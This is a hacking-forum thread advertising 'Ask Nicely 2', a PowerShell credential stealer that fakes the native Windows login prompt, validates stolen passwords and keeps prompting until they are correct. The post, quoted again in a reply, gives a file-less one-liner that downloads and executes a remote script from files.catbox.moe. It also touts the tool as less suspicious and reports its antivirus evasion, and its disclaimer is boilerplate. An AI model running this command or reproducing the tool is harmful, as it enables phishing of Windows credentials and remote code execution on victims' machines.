Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

H4CK3R$ 

Ask Nicely 2 - Native SE credential stealer in PS

Ask Nicely 2: Native Credential Stealer in PS

Why steal credentials when you can ask for them?

[Image: ezgif-428d1845c75603zt.gif]

A good smoke led me to write an alternative version of Ask Nicely, turns out invoking the native credential dialog is a breeze. I'm surprised none of you pointed that out. This is implementation is much more proper and convincing.

You can update to old builder script to handle this proof of concept for things like icons, I won't.

AskNicely2 uses the following Windows APIs:

1. CredUIPromptForWindowsCredentials: Displays the native credential prompt
2. CredUnPackAuthenticationBuffer: Retrieves credentials from the security buffer
3. CredUIParseUserName: Separates domain and username components
4. LogonUserW: Validates credentials against Windows authentication

[Image: image.png]

Credential Validation

The script validates credentials using the LogonUserW API, only valid credentials are accepted. The prompt wont stop until valid credentials are entered.

Key advantages over the previous version:

- Uses actual Windows credential UI instead of simulations
- More convincing and less likely to raise suspicion


Proof of concept

Source code (Click to View)

You can also invoke Ask Nicely 2 with a PowerShell one liner on any Windows 10/11 system:

Code
iex ([Text.Encoding]::Default.GetString((iwr 'https://files.catbox.moe/4r5c80.ps1').Content))

This execution is file-less.

AV performance

Spoiler (Click to View)

Disclaimer

This tool is intended for authorized penetration testing and security research only. Unauthorized use against systems you do not own or have explicit permission to test is illegal and unethical.


Cool man
I'm Stanley HF's helper bot. This OP (original poster) of this thread wants everyone to see this page and has elected to bump it to the top of the showthread listing. Since HF doesn't want a ton of LQP (Low Quality Posts) this is the best method of bumping your content. There is a small βyte fee for each bump. Any OP can bump any of their threads on HF from the linked icon on the top of their first post.

If you haven't already read the first post of this thread we encourage you to do so.

Thanks,
Stanley
I am the official HF Help Bot.  You might get an automated PM from me with some helpful information.
Please read our Help Docs.
(Sep 28, 2025 11:51 PM)niklaus8391 Wrote:  smrda koristi iex haha [warn]

Most people here don't speak Croatian. The rules for this forum state English only. No offense is meant to speakers of other languages.
(Aug 28, 2025 06:02 AM)CL1B Wrote:  Ask Nicely 2: Native Credential Stealer in PS

Why steal credentials when you can ask for them?

[Image: ezgif-428d1845c75603zt.gif]

A good smoke led me to write an alternative version of Ask Nicely, turns out invoking the native credential dialog is a breeze. I'm surprised none of you pointed that out. This is implementation is much more proper and convincing.

You can update to old builder script to handle this proof of concept for things like icons, I won't.

AskNicely2 uses the following Windows APIs:

1. CredUIPromptForWindowsCredentials: Displays the native credential prompt
2. CredUnPackAuthenticationBuffer: Retrieves credentials from the security buffer
3. CredUIParseUserName: Separates domain and username components
4. LogonUserW: Validates credentials against Windows authentication

[Image: image.png]

Credential Validation

The script validates credentials using the LogonUserW API, only valid credentials are accepted. The prompt wont stop until valid credentials are entered.

Key advantages over the previous version:

- Uses actual Windows credential UI instead of simulations
- More convincing and less likely to raise suspicion


Proof of concept

Source code (Click to View)

You can also invoke Ask Nicely 2 with a PowerShell one liner on any Windows 10/11 system:

Code
iex ([Text.Encoding]::Default.GetString((iwr 'https://files.catbox.moe/4r5c80.ps1').Content))

This execution is file-less.

AV performance

Spoiler (Click to View)

Disclaimer

This tool is intended for authorized penetration testing and security research only. Unauthorized use against systems you do not own or have explicit permission to test is illegal and unethical.



Great thread by OP !!
[Image: 9428137.gif]


Possibly Related Threads...
Thread / Author Replies Views Last Post
by AkiraStealerMar 19, 2026 08:42 AM 18 3,109 Mar 19, 2026 08:42 AM
Last Post: xDSocNym
by crystal johnDec 19, 2025 06:03 AM 2 147 Dec 19, 2025 06:03 AM
Last Post: DramaKing
by 1080iMar 22, 2025 11:44 AM 432 38,017 Mar 22, 2025 11:44 AM
Last Post: Crash141